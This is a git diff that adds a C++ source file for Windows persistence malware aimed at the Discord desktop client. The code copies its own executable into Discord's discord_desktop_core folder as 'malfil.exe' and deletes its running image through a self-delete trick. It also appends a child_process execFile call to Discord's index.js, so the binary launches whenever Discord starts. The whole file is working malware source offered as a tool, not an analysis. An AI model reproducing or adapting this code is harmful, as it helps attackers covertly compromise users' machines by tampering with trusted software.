diff --git a/Node Module Infector/DiscordPersistence/Main.cpp b/Node Module Infector/DiscordPersistence/Main.cpp new file mode 100644 index 0000000..89cb4f9 --- /dev/null +++ b/Node Module Infector/DiscordPersistence/Main.cpp @@ -0,0 +1,416 @@ +#include +#include + +#pragma comment(lib, "shlwapi.lib") + +#define JL_CONSTANT_RENAME L":wtfbbq" //artifact for JonasLyk :) +#define WIDE_CHAR_MAX_PATH (MAX_PATH * sizeof(WCHAR)) + +SIZE_T StringLengthW(LPCWSTR String) +{ + LPCWSTR String2; + + for (String2 = String; *String2; ++String2); + + return (String2 - String); +} + +PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2) +{ + PWCHAR p = String1; + + while ((*p++ = *String2++) != 0); + + return String1; +} + +PWCHAR StringConcatW(PWCHAR String, PWCHAR String2) +{ + StringCopyW(&String[StringLengthW(String)], String2); + + return String; +} + +PWCHAR StringLocateCharW(PWCHAR String, INT Character) +{ + do + { + if (*String == Character) + return (PWCHAR)String; + + } while (*String++); + + return NULL; +} + +INT StringCompareStringRegionW(PWCHAR String1, PWCHAR String2, SIZE_T Count) +{ + UCHAR Block1, Block2; + while (Count-- > 0) + { + Block1 = (UCHAR)*String1++; + Block2 = (UCHAR)*String2++; + + if (Block1 != Block2) + return Block1 - Block2; + + if (Block1 == '\0') + return 0; + } + + return 0; +} + +PWCHAR StringFindSubstringW(PWCHAR String1, PWCHAR String2) +{ + PWCHAR pPointer = String1; + DWORD Length = (DWORD)StringLengthW(String2); + + for (; (pPointer = StringLocateCharW(pPointer, *String2)) != 0; pPointer++) + { + if (StringCompareStringRegionW(pPointer, String2, Length) == 0) + return (PWCHAR)pPointer; + } + + return NULL; +} + +SIZE_T StringLengthA(LPCSTR String) +{ + LPCSTR String2; + + for (String2 = String; *String2; ++String2); + + return (String2 - String); +} + +PCHAR StringCopyA(PCHAR String1, PCHAR String2) +{ + PCHAR p = String1; + + while ((*p++ = *String2++) != 0); + + return String1; +} + +PCHAR StringConcatA(PCHAR String, PCHAR String2) +{ + StringCopyA(&String[StringLengthA(String)], String2); + + return String; +} + +SIZE_T WCharStringToCharString(PCHAR Destination, PWCHAR Source, SIZE_T MaximumAllowed) +{ + INT Length = (INT)MaximumAllowed; + + while (--Length >= 0) + { +#pragma warning( push ) +#pragma warning( disable : 4244) + if (!(*Destination++ = *Source++)) + return MaximumAllowed - Length - 1; +#pragma warning( pop ) + } + + return MaximumAllowed - Length; +} + +BOOL IsPathValidExW(PWCHAR FilePath, BOOL IsDirectory) +{ + HANDLE hFile = INVALID_HANDLE_VALUE; + + hFile = CreateFileW(FilePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, (IsDirectory ? FILE_FLAG_BACKUP_SEMANTICS : FILE_ATTRIBUTE_NORMAL), NULL); + if (hFile == INVALID_HANDLE_VALUE) + return FALSE; + + if (hFile) + CloseHandle(hFile); + + return TRUE; +} + +BOOL InitTargetDirectory(PWCHAR Path, DWORD Length) +{ + if (GetEnvironmentVariableW(L"LOCALAPPDATA", Path, Length) == 0) + return FALSE; + + if (StringConcatW(Path, (PWCHAR)L"\\Discord\\") == NULL) + return FALSE; + + return IsPathValidExW(Path, TRUE); +} + +BOOL GetDiscordConstantPath(PWCHAR Path, LPCWSTR Pattern, PWCHAR Out) +{ + HANDLE HeapHandle = GetProcessHeap(); + WCHAR szFullPattern[WIDE_CHAR_MAX_PATH] = { 0 }; + WIN32_FIND_DATAW FindData = { 0 }; + HANDLE FindHandle = INVALID_HANDLE_VALUE; + + if (Out[0] != '\0') + return TRUE; + + if (PathCombineW(szFullPattern, Path, L"*") == NULL) + goto FAILURE; + + FindHandle = FindFirstFileW(szFullPattern, &FindData); + if (FindHandle == INVALID_HANDLE_VALUE) + goto FAILURE; + + do + { + if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + if (FindData.cFileName[0] == '.') + continue; + + if (FindData.cFileName[0] == '$') + continue; + + ZeroMemory(szFullPattern, WIDE_CHAR_MAX_PATH); + if (PathCombineW(szFullPattern, Path, FindData.cFileName) == NULL) + goto FAILURE; + + GetDiscordConstantPath(szFullPattern, Pattern, Out); + } + + } while (FindNextFileW(FindHandle, &FindData)); + + if (FindHandle) + FindClose(FindHandle); + + if (PathCombineW(szFullPattern, Path, Pattern) == NULL) + goto FAILURE; + + if (StringFindSubstringW(szFullPattern, (PWCHAR)L"discord_desktop_core") != NULL) + { + if (StringConcatW(Path, (PWCHAR)L"\\") == NULL) + return FALSE; + + if (StringFindSubstringW(szFullPattern, (PWCHAR)L"\\discord_desktop_core\\") == NULL) + return FALSE; + + if (!IsPathValidExW(Path, TRUE)) + return FALSE; + + if (StringCopyW(Out, Path) != NULL) + return TRUE; + else + return FALSE; + } + + return TRUE; + +FAILURE: + + if (FindHandle) + FindClose(FindHandle); + + return FALSE; +} + +BOOL InitDiscordDesktopCoreFilePath(PWCHAR FilePath, PWCHAR LocalFile, BOOL IsDirectory) +{ + WCHAR DiscordDirectoryNoIndex[WIDE_CHAR_MAX_PATH] = { 0 }; + WCHAR DiscordConstantPath[WIDE_CHAR_MAX_PATH] = { 0 }; + WCHAR Tmp[WIDE_CHAR_MAX_PATH] = { 0 }; + + if (!InitTargetDirectory(DiscordDirectoryNoIndex, WIDE_CHAR_MAX_PATH)) + return FALSE; + + if (StringConcatW(FilePath, DiscordDirectoryNoIndex) == NULL) + return FALSE; + + if (!GetDiscordConstantPath(FilePath, L"*.*", DiscordConstantPath)) + return FALSE; + + if (StringCopyW(FilePath, DiscordConstantPath) == NULL) + return FALSE; + + if (LocalFile != NULL) + { + if (StringConcatW(FilePath, LocalFile) == NULL) + return FALSE; + } + + return IsPathValidExW(FilePath, IsDirectory); +} + +BOOL InternalCopyFile(VOID) +{ + WCHAR DiscordDirectoryDesktopCore[WIDE_CHAR_MAX_PATH] = { 0 }; + + if (!InitDiscordDesktopCoreFilePath(DiscordDirectoryDesktopCore, NULL, TRUE)) + return FALSE; + + WCHAR ExistingFile[WIDE_CHAR_MAX_PATH] = { 0 }; + WCHAR NewFile[WIDE_CHAR_MAX_PATH] = { 0 }; + + if (GetModuleFileNameW(NULL, ExistingFile, WIDE_CHAR_MAX_PATH) == 0) + return FALSE; + + if (StringConcatW(NewFile, DiscordDirectoryDesktopCore) == NULL) + return FALSE; + + if (StringConcatW(NewFile, (PWCHAR)L"malfil.exe") == 0) + return FALSE; + + return CopyFile(ExistingFile, NewFile, FALSE); +} + +DWORD RtlDeleteInMemoryModuleEx(VOID) +{ + DWORD dwError = ERROR_SUCCESS; + BOOL bFlag = FALSE; + WCHAR CurrentModulePath[WIDE_CHAR_MAX_PATH] = { 0 }; + HANDLE hFile = INVALID_HANDLE_VALUE; + HANDLE hDelete = INVALID_HANDLE_VALUE; + PFILE_RENAME_INFO frInfo = NULL; + FILE_DISPOSITION_INFO fDisposition; + + dwError = (DWORD)(sizeof(FILE_RENAME_INFO) + sizeof(JL_CONSTANT_RENAME)); + + RtlSecureZeroMemory(&fDisposition, sizeof(FILE_DISPOSITION_INFO)); + + if (!GetModuleFileNameW(NULL, CurrentModulePath, WIDE_CHAR_MAX_PATH)) + goto EXIT_ROUTINE; + + hFile = CreateFileW(CurrentModulePath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) + goto EXIT_ROUTINE; + + frInfo = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (sizeof(FILE_RENAME_INFO) + sizeof(JL_CONSTANT_RENAME))); + if (frInfo == NULL) + goto EXIT_ROUTINE; + + CopyMemory(frInfo->FileName, JL_CONSTANT_RENAME, sizeof(JL_CONSTANT_RENAME)); + frInfo->FileNameLength = 8; + + if (!SetFileInformationByHandle(hFile, FileRenameInfo, frInfo, (sizeof(frInfo) + sizeof(JL_CONSTANT_RENAME)))) + goto EXIT_ROUTINE; + else + CloseHandle(hFile); + + hDelete = CreateFileW(CurrentModulePath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hDelete == INVALID_HANDLE_VALUE) + goto EXIT_ROUTINE; + + fDisposition.DeleteFileW = TRUE; + + if (!SetFileInformationByHandle(hDelete, FileDispositionInfo, &fDisposition, sizeof(fDisposition))) + goto EXIT_ROUTINE; + + bFlag = TRUE; + dwError = ERROR_SUCCESS; + +EXIT_ROUTINE: + + if (!bFlag) + dwError = GetLastError(); + + if (frInfo) + HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, frInfo); + + if(hDelete) + CloseHandle(hDelete); + + return dwError; +} + +DWORD RtlModifyDiscordIndexJsFile(VOID) +{ + DWORD dwError = ERROR_SUCCESS; + BOOL bFlag = FALSE; + WCHAR DiscordDesktopCoreIndexJsFile[WIDE_CHAR_MAX_PATH] = { 0 }; + WCHAR LocalIndexFile[16] = L"index.js"; + WCHAR MaliciousBinary[12] = L"malfil.exe"; + WCHAR WcharToCharStringSegment[WIDE_CHAR_MAX_PATH] = { 0 }; + HANDLE hHandle = INVALID_HANDLE_VALUE; + + CHAR StringSegment1[48] = "\r\nvar exec = require('child_process').execFile;"; + CHAR StringSegment2[16] = " exec('"; + CHAR StringSegment3[WIDE_CHAR_MAX_PATH] = { 0 }; + CHAR StringSegment4[8] = "');"; + + PCHAR pwInfectiousString = NULL; + DWORD dwInfectiousStringLength = ERROR_SUCCESS; + + if (!InitDiscordDesktopCoreFilePath(DiscordDesktopCoreIndexJsFile, (PWCHAR)LocalIndexFile, FALSE)) + goto FAILURE; + + if (!InitDiscordDesktopCoreFilePath(WcharToCharStringSegment, MaliciousBinary, FALSE)) + goto FAILURE; + + if (WCharStringToCharString(StringSegment3, WcharToCharStringSegment, WIDE_CHAR_MAX_PATH) == 0) + goto FAILURE; + + dwInfectiousStringLength += (DWORD)StringLengthA(StringSegment1); + dwInfectiousStringLength += (DWORD)StringLengthA(StringSegment2); + dwInfectiousStringLength += (DWORD)StringLengthA(StringSegment3); + dwInfectiousStringLength += (DWORD)StringLengthA(StringSegment4); + + pwInfectiousString = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInfectiousStringLength); + if (pwInfectiousString == NULL) + goto FAILURE; + + if (StringConcatA(pwInfectiousString, StringSegment1) == NULL) goto FAILURE; + if (StringConcatA(pwInfectiousString, StringSegment2) == NULL) goto FAILURE; + if (StringConcatA(pwInfectiousString, StringSegment3) == NULL) goto FAILURE; + if (StringConcatA(pwInfectiousString, StringSegment4) == NULL) goto FAILURE; + + hHandle = CreateFile(DiscordDesktopCoreIndexJsFile, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hHandle == INVALID_HANDLE_VALUE) + goto FAILURE; + + if (SetFilePointer(hHandle, 0, NULL, FILE_END) == INVALID_SET_FILE_POINTER) + goto FAILURE; + + if (!WriteFile(hHandle, pwInfectiousString, dwInfectiousStringLength, &dwError, NULL)) + goto FAILURE; + + bFlag = TRUE; + dwError = ERROR_SUCCESS; + +FAILURE: + + if (!bFlag) + dwError = GetLastError(); + + if (hHandle) + CloseHandle(hHandle); + + if (pwInfectiousString) + HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, pwInfectiousString); + + return dwError; +} + +INT main(VOID) +{ + DWORD dwError = ERROR_SUCCESS; + BOOL bFlag = FALSE; + + if (!InternalCopyFile()) + goto FAILURE; + + dwError = RtlDeleteInMemoryModuleEx(); + if (dwError != ERROR_SUCCESS) + goto FAILURE; + + dwError = RtlModifyDiscordIndexJsFile(); + if (dwError != ERROR_SUCCESS) + { + SetLastError(dwError); + goto FAILURE; + } + + bFlag = TRUE; + +FAILURE: + + if (!bFlag) + dwError = GetLastError(); + + return dwError; +} \ No newline at end of file